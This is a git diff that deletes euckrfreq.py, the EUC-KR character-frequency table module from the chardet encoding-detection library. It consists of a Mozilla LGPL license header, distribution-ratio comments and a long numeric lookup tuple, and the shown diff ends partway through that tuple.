1463fa1d85c..00000000000 --- a/extra/chardet/euckrfreq.py +++ /dev/null @@ -1,594 +0,0 @@ -######################## BEGIN LICENSE BLOCK ######################## -# The Original Code is Mozilla Communicator client code. -# -# The Initial Developer of the Original Code is -# Netscape Communications Corporation. -# Portions created by the Initial Developer are Copyright (C) 1998 -# the Initial Developer. All Rights Reserved. -# -# Contributor(s): -# Mark Pilgrim - port to Python -# -# This library is free software; you can redistribute it and/or -# modify it under the terms of the GNU Lesser General Public -# License as published by the Free Software Foundation; either -# version 2.1 of the License, or (at your option) any later version. -# -# This library is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# Lesser General Public License for more details. -# -# You should have received a copy of the GNU Lesser General Public -# License along with this library; if not, write to the Free Software -# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA -# 02110-1301 USA -######################### END LICENSE BLOCK ######################### - -# Sampling from about 20M text materials include literature and computer technology - -# 128 --> 0.79 -# 256 --> 0.92 -# 512 --> 0.986 -# 1024 --> 0.99944 -# 2048 --> 0.99999 -# -# Idea Distribution Ratio = 0.98653 / (1-0.98653) = 73.24 -# Random Distribution Ration = 512 / (2350-512) = 0.279. -# -# Typical Distribution Ratio - -EUCKR_TYPICAL_DISTRIBUTION_RATIO = 6.0 - -EUCKR_TABLE_SIZE = 2352 - -# Char to FreqOrder table , -EUCKRCharToFreqOrder = ( \ - 13, 130, 120,1396, 481,1719,1720, 328, 609, 212,1721, 707, 400, 299,1722, 87, -1397,1723, 104, 536,1117,1203,1724,1267, 685,1268, 508,1725,1726,1727,1728,1398, -1399,1729,1730,1731, 141, 621, 326,1057, 368,1732, 267, 488, 20,1733,1269,1734, - 945,1400,1735, 47, 904,1270,1736,1737, 773, 248,1738, 409, 313, 786, 429,1739, - 116, 987, 813,1401, 683, 75,1204, 145,1740,1741,1742,1743, 16, 847, 667, 622, - 708,1744,1745,1746, 966, 787, 304, 129,1747, 60, 820, 123, 676,1748,1749,1750, -1751, 617,1752, 626,1753,1754,1755,1756, 653,1757,1758,1759,1760,1761,1762, 856, - 344,1763,1764,1765,1766, 89, 401, 418, 806, 905, 848,1767,1768,1769, 946,1205, - 709,1770,1118,1771, 241,1772,1773,1774,1271,1775, 569,1776, 999,1777,1778,1779, -1780, 337, 751,1058, 28, 628, 254,1781, 177, 906, 270, 349, 891,1079,1782, 19, -1783, 379,1784, 315,1785, 629, 754,1402, 559,1786, 636, 203,1206,1787, 710, 567, -1788, 935, 814,1789,1790,1207, 766, 528,1791,1792,1208,1793,1794,1795,1796,1797, -1403,1798,1799, 533,1059,1404,1405,1156,1406, 936, 884,1080,1800, 351,1801,1802, -1803,1804,1805, 801,1806,1807,1808,1119,1809,1157, 714, 474,1407,1810, 298, 899, - 885,1811,1120, 802,1158,1812, 892,1813,1814,1408, 659,1815,1816,1121,1817,1818, -1819,1820,1821,1822, 319,1823, 594, 545,1824, 815, 937,1209,1825,1826, 573,1409, -1022,1827,1210,1828,1829,1830,1831,1832,1833, 556, 722, 807,1122,1060,1834, 697, -1835, 900, 557, 715,1836,1410, 540,1411, 752,1159, 294, 597,1211, 976, 803, 770, -1412,1837,1838, 39, 794,1413, 358,1839, 371, 925,1840, 453, 661, 788, 531, 723, - 544,1023,1081, 869, 91,1841, 392, 430, 790, 602,1414, 677,1082, 457,1415,1416, -1842,1843, 475, 327,1024,1417, 795, 121,1844, 733, 403,1418,1845,1846,1847, 300, - 119, 711,1212, 627,1848,1272, 207,1849,1850, 796,1213, 382,1851, 519,1852,1083, - 893,1853,1854,1855, 367, 809, 487, 671,1856, 663,1857,1858, 956, 471, 306, 857, -1859,1860,1160,1084,1861,1862,1863,1864,1865,1061,1866,1867,1868,1869,1870,1871, - 282, 96, 574,1872, 502,1085,1873,1214,1874, 907,1875,1876, 827, 977,1419,1420, -1421, 268,1877,1422,1878,1879,1880, 308,1881, 2, 537,1882,1883,1215,1884,1885, - 127, 791,1886,1273,1423,1887, 34, 336, 404, 643,1888, 571, 654, 894, 840,1889, - 0, 886,1274, 122, 575, 260, 908, 938,1890,1275, 410, 316,1891,1892, 100,1893, -1894,1123, 48,1161,1124,1025,1895, 633, 901,1276,1896,1897, 115, 816,1898, 317, -1899, 694,1900, 909, 734,1424, 572, 866,1425, 691, 85, 524,1010, 543, 394, 841, -1901,1902,1903,1026,1904,1905,1906,1907,1908,1909, 30, 451, 651, 988, 310,1910, -1911,1426, 810,1216, 93,1912,1913,1277,1217,1914, 858, 759, 45, 58, 181, 610, - 269,1915,1916, 131,1062, 551, 443,1000, 821,1427, 957, 895,1086,1917,1918, 375, -1919, 359,1920, 687,1921, 822,1922, 293,1923,1924, 40, 662, 118, 692, 29, 939, - 887, 640, 482, 174,1925, 69,1162, 728,1428, 910,1926,1278,1218,1279, 386, 870, - 217, 854,1163, 823,1927,1928,1929,1930, 834,1931, 78,1932, 859,1933,1063,1934, -1935,1936,1937, 438,1164, 208, 595,1938,1939,1940,1941,1219,1125,1942, 280, 888, -1429,1430,1220,1431,1943,1944,1945,1946,1947,1280, 150, 510,1432,1948,1949,1950, -1951,1952,1953,1954,1011,1087,1955,1433,1043,1956, 881,1957, 614, 958,1064,1065, -1221,1958, 638,1001, 860, 967, 896,1434, 989, 492, 553,1281,1165,1959,1282,1002, -1283,1222,1960,1961,1962,1963, 36, 383, 228, 753, 247, 454,1964, 876, 678,1965, -1966,1284, 126, 464, 490, 835, 136, 672, 529, 940,1088,1435, 473,1967,1968, 467, - 50, 390, 227, 587, 279, 378, 598, 792, 968, 240, 151, 160, 849, 882,1126,1285, - 639,1044, 133, 140, 288, 360, 811, 563,1027, 561, 142, 523,1969,1970,1971, 7, - 103, 296, 439, 407, 506, 634, 990,1972,1973,1974,1975, 645,1976,1977,1978,1979, -1980,1981, 236,1982,1436,1983,1984,1089, 192, 828, 618, 518,1166, 333,1127,1985, - 818,1223,1986,1987,1988,1989,1990,1991,1992,1993, 342,1128,1286, 746, 842,1994, -1995, 560, 223,1287, 98, 8, 189, 650, 978,1288,1996,1437,1997, 17, 345, 250, - 423, 277, 234, 512, 226, 97, 289, 42, 167,1998, 201,1999,2000, 843, 836, 824, - 532, 338, 783,1090, 182, 576, 436,1438,1439, 527, 500,2001, 947, 889,2002,2003, -2004,2005, 262, 600, 314, 447,2006, 547,2007, 693, 738,1129,2008, 71,1440, 745, - 619, 688,2009, 829,2010,2011, 147,2012, 33, 948,2013,2014, 74, 224,2015, 61, - 191, 918, 399, 637,2016,1028,1130, 257, 902,2017,2018,2019,2020,2021,2022,2023, -2024,2025,2026, 837,2027,2028,2029,2030, 179, 874, 591, 52, 724, 246,2031,2032, -2033,2034,1167, 969,2035,1289, 630, 605, 911,1091,1168,2036,2037,2038,1441, 912, -2039, 623,2040,2041, 253,1169,1290,2042,1442, 146, 620, 611, 577, 433,2043,1224, - 719,1170, 959, 440, 437, 534, 84, 388, 480,1131, 159, 220, 198, 679,2044,1012, - 819,1066,1443, 113,1225, 194, 318,1003,1029,2045,2046,2047,2048,1067,2049,2050, -2051,2052,2053, 59, 913, 112,2054, 632,2055, 455, 144, 739,1291,2056, 273, 681, - 499,2057, 448,2058,2059, 760,2060,2061, 970, 384, 169, 245,1132,2062,2063, 414, -1444,2064,2065, 41, 235,2066, 157, 252, 877, 568, 919, 789, 580,2067, 725,2068, -2069,1292,2070,2071,1445,2072,1446,2073,2074, 55, 588, 66,1447, 271,1092,2075, -1226,2076, 960,1013, 372,2077,2078,2079,2080,2081,1293,2082,2083,2084,2085, 850, -2086,2087,2088,2089,2090, 186,2091,1068, 180,2092,2093,2094, 109,1227, 522, 606, -2095, 867,1448,1093, 991,1171, 926, 353,1133,2096, 581,2097,2098,2099,1294,1449, -1450,2100, 596,1172,1014,1228,2101,1451,1295,1173,1229,2102,2103,1296,1134,1452, - 949,1135,2104,2105,1094,1453,1454,1455,2106,1095,2107,2108,2109,2110,2111,2112, -2113,2114,2115,2116,2117, 804,2118,2119,1230,1231, 805,1456, 405,1136,2120,2121, -2122,2123,2124, 720, 701,1297, 992,1457, 927,1004,2125,2126,2127,2128,2129,2130, - 22, 417,2131, 303,2132, 385,2133, 971, 520, 513,2134,1174, 73,1096, 231, 274, - 962,1458, 673,2135,1459,2136, 152,1137,2137,2138,2139,2140,1005,1138,1460,1139, -2141,2142,2143,2144, 11, 374, 844,2145, 154,1232, 46,1461,2146, 838, 830, 721, -1233, 106,2147, 90, 428, 462, 578, 566,1175, 352,2148,2149, 538,1234, 124,1298, -2150,1462, 761, 565,2151, 686,2152, 649,2153, 72, 173,2154, 460, 415,2155,1463, -2156,1235, 305,2157,2158,2159,2160,2161,2162, 579,2163,2164,2165,2166,2167, 747, -2168,2169,2170,2171,1464, 669,2172,2173,2174,2175,2176,1465,2177, 23, 530, 285, -2178, 335, 729,2179, 397,2180,2181,2182,1030,2183,2184, 698,2185,2186, 325,2187, -2188, 369,2189, 799,1097,1015, 348,2190,1069, 680,2191, 851,1466,2192,2193, 10, -2194, 613, 424,2195, 979, 108, 449, 589, 27, 172, 81,1031, 80, 774, 281, 350, -1032, 525, 301, 582,1176,2196, 674,1045,2197,2198,1467, 730, 762,2199,2200,2201, -2202,1468,2203, 993,2204,2205, 266,1070, 963,1140,2206,2207,2208, 664,1098, 972, -2209,2210,2211,1177,1469,1470, 871,2212,2213,2214,2215,2216,1471,2217,2218,2219, -2220,2221,2222,2223,2224,2225,2226,2227,1472,1236,2228,2229,2230,2231,2232,2233, -2234,2235,1299,2236,2237, 200,2238, 477, 373,2239,2240, 731, 825, 777,2241,2242, -2243, 521, 486, 548,2244,2245,2246,1473,1300, 53, 549, 137, 875, 76, 158,2247, -1301,1474, 469, 396,1016, 278, 712,2248, 321, 442, 503, 767, 744, 941,1237,1178, -1475,2249, 82, 178,1141,1179, 973,2250,1302,2251, 297,2252,2253, 570,2254,2255, -2256, 18, 450, 206,2257, 290, 292,1142,2258, 511, 162, 99, 346, 164, 735,2259, -1476,1477, 4, 554, 343, 798,1099,2260,1100,2261, 43, 171,1303, 139, 215,2262, -2263, 717, 775,2264,1033, 322, 216,2265, 831,2266, 149,2267,1304,2268,2269, 702, -1238, 135, 845, 347, 309,2270, 484,2271, 878, 655, 238,1006,1478,2272, 67,2273, - 295,2274,2275, 461,2276, 478, 942, 412,2277,1034,2278,2279,2280, 265,2281, 541, -2282,2283,2284,2285,2286, 70, 852,1071,2287,2288,2289,2290, 21, 56, 509, 117, - 432,2291,2292, 331, 980, 552,1101, 148, 284, 105, 393,1180,1239, 755,2293, 187, -2294,1046,1479,2295, 340,2296, 63,1047, 230,2297,2298,1305, 763,1306, 101, 800, - 808, 494,2299,2300,2301, 903,2302, 37,1072, 14, 5,2303, 79, 675,2304, 312, -2305,2306,2307,2308,2309,1480, 6,1307,2310,2311,2312, 1, 470, 35, 24, 229, -2313, 695, 210, 86, 778, 15, 784, 592, 779, 32, 77, 855, 964,2314, 259,2315, - 501, 380,2316,2317, 83, 981, 153, 689,1308,1481,1482,1483,2318,2319, 716,1484, -2320,2321,2322,2323,2324,2325,1485,2326,2327, 128, 57, 68, 261,1048, 211, 170, -1240, 31,2328, 51, 435, 742,2329,2330,2331, 635,2332, 264, 456,2333,2334,2335, - 425,2336,1486, 143, 507, 263, 943,2337, 363, 920,1487, 256,1488,1102, 243, 601, -1489,2338,2339,2340,2341,2342,2343,2344, 861,2345,2346,2347,2348,2349,2350, 395, -2351,1490,1491, 62, 535, 166, 225,2352,2353, 668, 419,1241, 138, 604, 928,2354, -1181,2355,1492,1493,2356,2357,2358,1143,2359, 696,2360, 387, 307,1309, 682, 476, -2361,2362, 332, 12, 222, 156,2363, 232,2364, 641, 276, 656, 517,1494,1495,1035, - 416, 736,1496,2365,1017, 586,2366,2367,2368,1497,2369, 242,2370,2371,2372,1498, -2373, 965, 713,2374,2375,2376,2377, 740, 982,1499, 944,1500,1007,2378,2379,1310, -1501,2380,2381,2382, 785, 329,2383,2384,1502,2385,2386,2387, 932,2388,1503,2389, -2390,2391,2392,1242,2393,2394,2395,2396,2397, 994, 950,2398,2399,2400,2401,1504, -1311,2402,2403,2404,2405,1049, 749,2406,2407, 853, 718,1144,1312,2408,1182,1505, -2409,2410, 255, 516, 479, 564, 550, 214,1506,1507,1313, 413, 239, 444, 339,1145, -1036,1508,1509,1314,1037,1510,1315,2411,1511,2412,2413,2414, 176, 703, 497, 624, - 593, 921, 302,2415, 341, 165,1103,1512,2416,1513,2417,2418,2419, 376,2420, 700, -2421,2422,2423, 258, 768,1316,2424,1183,2425, 995, 608,2426,2427,2428,2429, 221, -2430,2431,2432,2433,2434,2435,2436,2437, 195, 323, 726, 188, 897, 983,1317, 377, - 644,1050, 879,2438, 452,2439,2440,2441,2442,2443,2444, 914,2445,2446,2447,2448, - 915, 489,2449,1514,1184,2450,2451, 515, 64, 427, 495,2452, 583,2453, 483, 485, -1038, 562, 213,1515, 748, 666,2454,2455,2456,2457, 334,2458, 780, 996,1008, 705, -1243,2459,2460,2461,2462,2463, 114,2464, 493,1146, 366, 163,1516, 961,1104,2465, - 291,2466,1318,1105,2467,1517, 365,2468, 355, 951,1244,2469,1319,2470, 631,2471, -2472, 218,1320, 364, 320, 756,1518,1519,1321,1520,1322,2473,2474,2475,2476, 997, -2477,2478,2479,2480, 665,1185,2481, 916,1521,2482,2483,2484, 584, 684,2485,2486, - 797,2487,1051,1186,2488,2489,2490,1522,2491,2492, 370,2493,1039,1187, 65,2494, - 434, 205, 463,1188,2495, 125, 812, 391, 402, 826, 699, 286, 398, 155, 781, 771, - 585,2496, 590, 505,1073,2497, 599, 244, 219, 917,1018, 952, 646,1523,2498,1323, -2499,2500, 49, 984, 354, 741,2501, 625,2502,1324,2503,1019, 190, 357, 757, 491, - 95, 782, 868,2504,2505,2506,2507,2508,2509, 134,1524,1074, 422,1525, 898,2510, - 161,2511,2512,2513,2514, 769,2515,1526,2516,2517, 411,1325,2518, 472,1527,2519, -2520,2521,2522,2523,2524, 985,2525,2526,2527,2528,2529,2530, 764,2531,1245,2532, -2533, 25, 204, 311,2534, 496,2535,1052,2536,2537,2538,2539,2540,2541,2542, 199, - 704, 504, 468, 758, 657,1528, 196, 44, 839,1246, 272, 750,2543, 765, 862,2544, -2545,1326,2546, 132, 615, 933,2547, 732,2548,2549,2550,1189,1529,2551, 283,1247, -1053, 607, 929,2552,2553,2554, 930, 183, 872, 616,1040,1147,2555,1148,1020, 441, - 249,1075,2556,2557,2558, 466, 743,2559,2560,2561, 92, 514, 426, 420, 526,2562, -2563,2564,2565,2566,2567,2568, 185,2569,2570,2571,2572, 776,1530, 658,2573, 362, -2574, 361, 922,1076, 793,2575,2576,2577,2578,2579,2580,1531, 251,2581,2582,2583, -2584,1532, 54, 612, 237,1327,2585,2586, 275, 408, 647, 111,2587,1533,1106, 465, - 3, 458, 9, 38,2588, 107, 110, 890, 209, 26, 737, 498,2589,1534,2590, 431, - 202, 88,1535, 356, 287,1107, 660,1149,2591, 381,1536, 986,1150, 445,1248,1151, - 974,2592,2593, 846,2594, 446, 953, 184,1249,1250, 727,2595, 923, 193, 883,2596, -2597,2598, 102, 324, 539, 817,2599, 421,1041,2600, 832,2601, 94, 175, 197, 406, -2602, 459,2603,2604,2605,2606,2607, 330, 555,2608,2609,2610, 706,1108, 389,2611, -2612,2613,2614, 233,2615, 833, 558, 931, 954,1251,2616,2617,1537, 546,2618,2619, -1009,2620,2621,2622,1538, 690,1328,2623, 955,2624,1539,2625,2626, 772,2627,2628, -2629,2630,2631, 924, 648, 863, 603,2632,2633, 934,1540, 864, 865,2634, 642,1042, - 670,1190,2635,2636,2637,2638, 168,2639, 652, 873, 542,1054,1541,2640,2641,2642, # 512, 256 -#Everything below is of no interest for detection purpose -2643,2644,2645,2646,2647,2648,2649,2650,2651,2652,2653,2654,2655,2656,2657,2658, -2659,2660,2661,2662,2663,2664,2665,2666,2667,2668,2669,2670,2671,2672,2673,2674, -2675,2676,2677,2678,2679,2680,2681,2682,2683,2684,2685,2686,2687,2688,2689,2690, -2691,2692,2693,2694,2695,2696,2697,2698,2699,1542, 880,2700,2701,2702,2703,2704, -2705,2706,2707,2708,2709,2710,2711,2712,2713,2714,2715,2716,2717,2718,2719,2720, -2721,2722,2723,2724,2725,1543,2726,2727,2728,2729,2730,2731,2732,1544,2733,2734, -2735,2736,2737,2738,2739,2740,2741,2742,2743,2744,2745,2746,2747,2748,2749,2750, -2751,2752,2753,2754,1545,2755,2756,2757,2758,2759,2760,2761,2762,2763,2764,2765, -2766,1546,2767,1547,2768,2769,2770,2771,2772,2773,2774,2775,2776,2777,2778,2779, -2780,2781,2782,2783,2784,2785,2786,1548,2787,2788,2789,1109,2790,2791,2792,2793, -2794,2795,2796,2797,2798,2799,2800,2801,2802,2803,2804,2805,2806,2807,2808,2809, -2810,2811,2812,1329,2813,2814,2815,2816,2817,2818,2819,2820,2821,2822,2823,2824, -2825,2826,2827,2828,2829,2830,2831,2832,2833,2834,2835,2836,2837,2838,2839,2840, -2841,2842,2843,2844,2845,2846,2847,2848,2849,2850,2851,2852,2853,2854,2855,2856, -1549,2857,2858,2859,2860,1550,2861,2862,1551,2863,2864,2865,2866,2867,2868,2869, -2870,2871,2872,2873,2874,1110,1330,2875,2876,2877,2878,2879,2880,2881,2882,2883, -2884,2885,2886,2887,2888,2889,2890,2891,2892,2893,2894,2895,2896,2897,2898,2899, -2900,2901,2902,2903,2904,2905,2906,2907,2908,2909,2910,2911,2912,2913,2914,2915, -2916,2917,2918,2919,2920,2921,2922,2923,2924,2925,2926,2927,2928,2929,2930,1331, -2931,2932,2933,2934,2935,2936,2937,2938,2939,2940,2941,2942,2943,1552,2944,2945, -2946,2947,2948,2949,2950,2951,2952,2953,2954,2955,2956,2957,2958,2959,2960,2961, -2962,2963,2964,1252,2965,2966,2967,2968,2969,2970,2971,2972,2973,2974,2975,2976, -2977,2978,2979,2980,2981,2982,2983,2984,2985,2986,2987,2988,2989,2990,2991,2992, -2993,2994,2995,2996,2997,2998,2999,3000,3001,3002,3003,3004,3005,3006,3007,3008, -3009,3010,3011,3012,1553,3013,3014,3015,3016,3017,1554,3018,1332,3019,3020,3021, -3022,3023,3024,3025,3026,3027,3028,3029,3030,3031,3032,3033,3034,3035,3036,3037, -3038,3039,3040,3041,3042,3043,3044,3045,3046,3047,3048,3049,3050,1555,3051,3052, -3053,1556,1557,3054,3055,3056,3057,3058,3059,3060,3061,3062,3063,3064,3065,3066, -3067,1558,3068,3069,3070,3071,3072,3073,3074,3075,3076,1559,3077,3078,3079,3080, -3081,3082,3083,1253,3084,3085,3086,3087,3088,3089,3090,3091,3092,3093,3094,3095, -3096,3097,3098,3099,3100,3101,3102,3103,3104,3105,3106,3107,3108,1152,3109,3110, -3111,3112,3113,1560,3114,3115,3116,3117,1111,3118,3119,3120,3121,3122,3123,3124, -3125,3126,3127,3128,3129,3130,3131,3132,3133,3134,3135,3136,3137,3138,3139,3140, -3141,3142,3143,3144,3145,3146,3147,3148,3149,3150,3151,3152,3153,3154,3155,3156, -3157,3158,3159,3160,3161,3162,3163,3164,3165,3166,3167,3168,3169,3170,3171,3172, -3173,3174,3175,3176,1333,3177,3178,3179,3180,3181,3182,3183,3184,3185,3186,3187, -3188,3189,1561,3190,3191,1334,3192,3193,3194,3195,3196,3197,3198,3199,3200,3201, -3202,3203,3204,3205,3206,3207,3208,3209,3210,3211,3212,3213,3214,3215,3216,3217, -3218,3219,3220,3221,3222,3223,3224,3225,3226,3227,3228,3229,3230,3231,3232,3233, -3234,1562,3235,3236,3237,3238,3239,3240,3241,3242,3243,3244,3245,3246,3247,3248, -3249,3250,3251,3252,3253,3254,3255,3256,3257,3258,3259,3260,3261,3262,3263,3264, -3265,3266,3267,3268,3269,3270,3271,3272,3273,3274,3275,3276,3277,1563,3278,3279, -3280,3281,3282,3283,3284,3285,3286,3287,3288,3289,3290,3291,3292,3293,3294,3295, -3296,3297,3298,3299,3300,3301,3302,3303,3304,3305,3306,3307,3308,3309,3310,3311, -3312,3313,3314,3315,3316,3317,3318,3319,3320,3321,3322,3323,3324,3325,3326,3327, -3328,3329,3330,3331,3332,3333,3334,3335,3336,3337,3338,3339,3340,3341,3342,3343, -3344,3345,3346,3347,3348,3349,3350,3351,3352,3353,3354,3355,3356,3357,3358,3359, -3360,3361,3362,3363,3364,1335,3365,3366,3367,3368,3369,3370,3371,3372,3373,3374, -3375,3376,3377,3378,3379,3380,3381,3382,3383,3384,3385,3386,3387,1336,3388,3389, -3390,3391,3392,3393,3394,3395,3396,3397,3398,3399,3400,3401,3402,3403,3404,3405, -3406,3407,3408,3409,3410,3411,3412,3413,3414,1337,3415,3416,3417,3418,3419,1338, -3420,3421,3422,1564,1565,3423,3424,3425,3426,3427,3428,3429,3430,3431,1254,3432, -3433,3434,1339,3435,3436,3437,3438,3439,1566,3440,3441,3442,3443,3444,3445,3446, -3447,3448,3449,3450,3451,3452,3453,3454,1255,3455,3456,3457,3458,3459,1567,1191, -3460,1568,1569,3461,3462,3463,1570,3464,3465,3466,3467,3468,1571,3469,3470,3471, -3472,3473,1572,3474,3475,3476,3477,3478,3479,3480,3481,3482,3483,3484,3485,3486, -1340,3487,3488,3489,3490,3491,3492,1021,3493,3494,3495,3496,3497,3498,1573,3499, -1341,3500,3501,3502,3503,3504,3505,3506,3507,3508,3509,3510,3511,1342,3512,3513, -3514,3515,3516,1574,1343,3517,3518,3519,1575,3520,1576,3521,3522,3523,3524,3525, -3526,3527,3528,3529,3530,3531,3532,3533,3534,3535,3536,3537,3538,3539,3540,3541, -3542,3543,3544,3545,3546,3547,3548,3549,3550,3551,3552,3553,3554,3555,3556,3557, -3558,3559,3560,3561,3562,3563,3564,3565,3566,3567,3568,3569,3570,3571,3572,3573, -3574,3575,3576,3577,3578,3579,3580,1577,3581,3582,1578,3583,3584,3585,3586,3587, -3588,3589,3590,3591,3592,3593,3594,3595,3596,3597,3598,3599,3600,3601,3602,3603, -3604,1579,3605,3606,3607,3608,3609,3610,3611,3612,3613,3614,3615,3616,3617,3618, -3619,3620,3621,3622,3623,3624,3625,3626,3627,3628,3629,1580,3630,3631,1581,3632, -3633,3634,3635,3636,3637,3638,3639,3640,3641,3642,3643,3644,3645,3646,3647,3648, -3649,3650,3651,3652,3653,3654,3655,3656,1582,3657,3658,3659,3660,3661,3662,3663, -3664,3665,3666,3667,3668,3669,3670,3671,3672,3673,3674,3675,3676,3677,3678,3679, -3680,3681,3682,3683,3684,3685,3686,3687,3688,3689,3690,3691,3692,3693,3694,3695, -3696,3697,3698,3699,3700,1192,3701,3702,3703,3704,1256,3705,3706,3707,3708,1583, -1257,3709,3710,3711,3712,3713,3714,3715,3716,1584,3717,3718,3719,3720,3721,3722, -3723,3724,3725,3726,3727,3728,3729,3730,3731,3732,3733,3734,3735,3736,3737,3738, -3739,3740,3741,3742,3743,3744,3745,1344,3746,3747,3748,3749,3750,3751,3752,3753, -3754,3755,3756,1585,3757,3758,3759,3760,3761,3762,3763,3764,3765,3766,1586,3767, -3768,3769,3770,3771,3772,3773,3774,3775,3776,3777,3778,1345,3779,3780,3781,3782, -3783,3784,3785,3786,3787,3788,3789,3790,3791,3792,3793,3794,3795,1346,1587,3796, -3797,1588,3798,3799,3800,3801,3802,3803,3804,3805,3806,1347,3807,3808,3809,3810, -3811,1589,3812,3813,3814,3815,3816,3817,3818,3819,3820,3821,1590,3822,3823,1591, -1348,3824,3825,3826,3827,3828,3829,3830,1592,3831,3832,1593,3833,3834,3835,3836, -3837,3838,3839,3840,3841,3842,3843,3844,1349,3845,3846,3847,3848,3849,3850,3851, -3852,3853,3854,3855,3856,3857,3858,1594,3859,3860,3861,3862,3863,3864,3865,3866, -3867,3868,3869,1595,3870,3871,3872,3873,1596,3874,3875,3876,3877,3878,3879,3880, -3881,3882,3883,3884,3885,3886,1597,3887,3888,3889,3890,3891,3892,3893,3894,3895, -1598,3896,3897,3898,1599,1600,3899,1350,3900,1351,3901,3902,1352,3903,3904,3905, -3906,3907,3908,3909,3910,3911,3912,3913,3914,3915,3916,3917,3918,3919,3920,3921, -3922,3923,3924,1258,3925,3926,3927,3928,3929,3930,3931,1193,3932,1601,3933,3934, -3935,3936,3937,3938,3939,3940,3941,3942,3943,1602,3944,3945,3946,3947,3948,1603, -3949,3950,3951,3952,3953,3954,3955,3956,3957,3958,3959,3960,3961,3962,3963,3964, -3965,1604,3966,3967,3968,3969,3970,3971,3972,3973,3974,3975,3976,3977,1353,3978, -3979,3980,3981,3982,3983,3984,3985,3986,3987,3988,3989,3990,3991,1354,3992,3993, -3994,3995,3996,3997,3998,3999,4000,4001,4002,4003,4004,4005,4006,4007,4008,4009, -4010,4011,4012,4013,4014,4015,4016,4017,4018,4019,4020,4021,4022,4023,1355,4024, -4025,4026,4027,4028,4029,4030,4031,4032,4033,4034,4035,4036,4037,4038,4039,4040, -1605,4041,4042,4043,4044,4045,4046,4047,4048,4049,4050,4051,4052,4053,4054,4055, -4056,4057,4058,4059,4060,1606,4061,4062,4063,4064,1607,4065,4066,4067,4068,4069, -4070,4071,4072,4073,4074,4075,4076,1194,4077,4078,1608,4079,4080,4081,4082,4083, -4084,4085,4086,4087,1609,4088,4089,4090,4091,4092,4093,4094,4095,4096,4097,4098, -4099,4100,4101,4102,4103,4104,4105,4106,4107,4108,1259,4109,4110,4111,4112,4113, -4114,4115,4116,4117,4118,4119,4120,4121,4122,4123,4124,1195,4125,4126,4127,1610, -4128,4129,4130,4131,4132,4133,4134,4135,4136,4137,1356,4138,4139,4140,4141,4142, -4143,4144,1611,4145,4146,4147,4148,4149,4150,4151,4152,4153,4154,4155,4156,4157, -4158,4159,4160,4161,4162,4163,4164,4165,4166,4167,4168,4169,4170,4171,4172,4173, -4174,4175,4176,4177,4178,4179,4180,4181,4182,4183,4184,4185,4186,4187,4188,4189, -4190,4191,4192,4193,4194,4195,4196,4197,4198,4199,4200,4201,4202,4203,4204,4205, -4206,4207,4208,4209,4210,4211,4212,4213,4214,4215,4216,4217,4218,4219,1612,4220, -4221,4222,4223,4224,4225,4226,4227,1357,4228,1613,4229,4230,4231,4232,4233,4234, -4235,4236,4237,4238,4239,4240,4241,4242,4243,1614,4244,4245,4246,4247,4248,4249, -4250,4251,4252,4253,4254,4255,4256,4257,4258,4259,4260,4261,4262,4263,4264,4265, -4266,4267,4268,4269,4270,1196,1358,4271,4272,4273,4274,4275,4276,4277,4278,4279, -4280,4281,4282,4283,4284,4285,4286,4287,1615,4288,4289,4290,4291,4292,4293,4294, -4295,4296,4297,4298,4299,4300,4301,4302,4303,4304,4305,4306,4307,4308,4309,4310, -4311,4312,4313,4314,4315,4316,4317,4318,4319,4320,4321,4322,4323,4324,4325,4326, -4327,4328,4329,4330,4331,4332,4333,4334,1616,4335,4336,4337,4338,4339,4340,4341, -4342,4343,4344,4345,4346,4347,4348,4349,4350,4351,4352,4353,4354,4355,4356,4357, -4358,4359,4360,1617,4361,4362,4363,4364,4365,1618,4366,4367,4368,4369,4370,4371, -4372,4373,4374,4375,4376,4377,4378,4379,4380,4381,4382,4383,4384,4385,4386,4387, -4388,4389,4390,4391,4392,4393,4394,4395,4396,4397,4398,4399,4400,4401,4402,4403, -4404,4405,4406,4407,4408,4409,4410,4411,4412,4413,4414,4415,4416,1619,4417,4418, -4419,4420,4421,4422,4423,4424,4425,1112,4426,4427,4428,4429,4430,1620,4431,4432, -4433,4434,4435,4436,4437,4438,4439,4440,4441,4442,1260,1261,4443,4444,4445,4446, -4447,4448,4449,4450,4451,4452,4453,4454,4455,1359,4456,4457,4458,4459,4460,4461, -4462,4463,4464,4465,1621,4466,4467,4468,4469,4470,4471,4472,4473,4474,4475,4476, -4477,4478,4479,4480,4481,4482,4483,4484,4485,4486,4487,4488,4489,1055,4490,4491, -4492,4493,4494,4495,4496,4497,4498,4499,4500,4501,4502,4503,4504,4505,4506,4507, -4508,4509,4510,4511,4512,4513,4514,4515,4516,4517,4518,1622,4519,4520,4521,1623, -4522,4523,4524,4525,4526,4527,4528,4529,4530,4531,4532,4533,4534,4535,1360,4536, -4537,4538,4539,4540,4541,4542,4543, 975,4544,4545,4546,4547,4548,4549,4550,4551, -4552,4553,4554,4555,4556,4557,4558,4559,4560,4561,4562,4563,4564,4565,4566,4567, -4568,4569,4570,4571,1624,4572,4573,4574,4575,4576,1625,4577,4578,4579,4580,4581, -4582,4583,4584,1626,4585,4586,4587,4588,4589,4590,4591,4592,4593,4594,4595,1627, -4596,4597,4598,4599,4600,4601,4602,4603,4604,4605,4606,4607,4608,4609,4610,4611, -4612,4613,4614,4615,1628,4616,4617,4618,4619,4620,4621,4622,4623,4624,4625,4626, -4627,4628,4629,4630,4631,4632,4633,4634,4635,4636,4637,4638,4639,4640,4641,4642, -4643,4644,4645,4646,4647,4648,4649,1361,4650,4651,4652,4653,4654,4655,4656,4657, -4658,4659,4660,4661,1362,4662,4663,4664,4665,4666,4667,4668,4669,4670,4671,4672, -4673,4674,4675,4676,4677,4678,4679,4680,4681,4682,1629,4683,4684,4685,4686,4687, -1630,4688,4689,4690,4691,1153,4692,4693,4694,1113,4695,4696,4697,4698,4699,4700, -4701,4702,4703,4704,4705,4706,4707,4708,4709,4710,4711,1197,4712,4713,4714,4715, -4716,4717,4718,4719,4720,4721,4722,4723,4724,4725,4726,4727,4728,4729,4730,4731, -4732,4733,4734,4735,1631,4736,1632,4737,4738,4739,4740,4741,4742,4743,4744,1633, -4745,4746,4747,4748,4749,1262,4750,4751,4752,4753,4754,1363,4755,4756,4757,4758, -4759,4760,4761,4762,4763,4764,4765,4766,4767,4768,1634,4769,4770,4771,4772,4773, 